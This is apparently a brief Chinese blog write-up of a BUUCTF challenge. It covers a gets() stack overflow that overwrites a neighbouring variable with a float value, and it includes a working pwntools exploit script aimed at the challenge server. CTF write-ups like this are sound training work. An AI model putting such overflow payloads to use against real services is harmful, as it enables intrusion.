Gets 栈溢出(变量覆盖)

由 雾島风起時 发布

Gets 栈溢出(变量覆盖)

话不多说,直接上题(BUUCTF)

IDA64 反编译

追踪看到 gets

v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立

注意:浮点数要转十六进制

from pwn import *

p = remote("node5.buuoj.cn", 29455)

payload = b'a' * 44 + p64(0x41348000)

p.sendline(payload)
p.interactive()

拿到 flag


0条评论

发表评论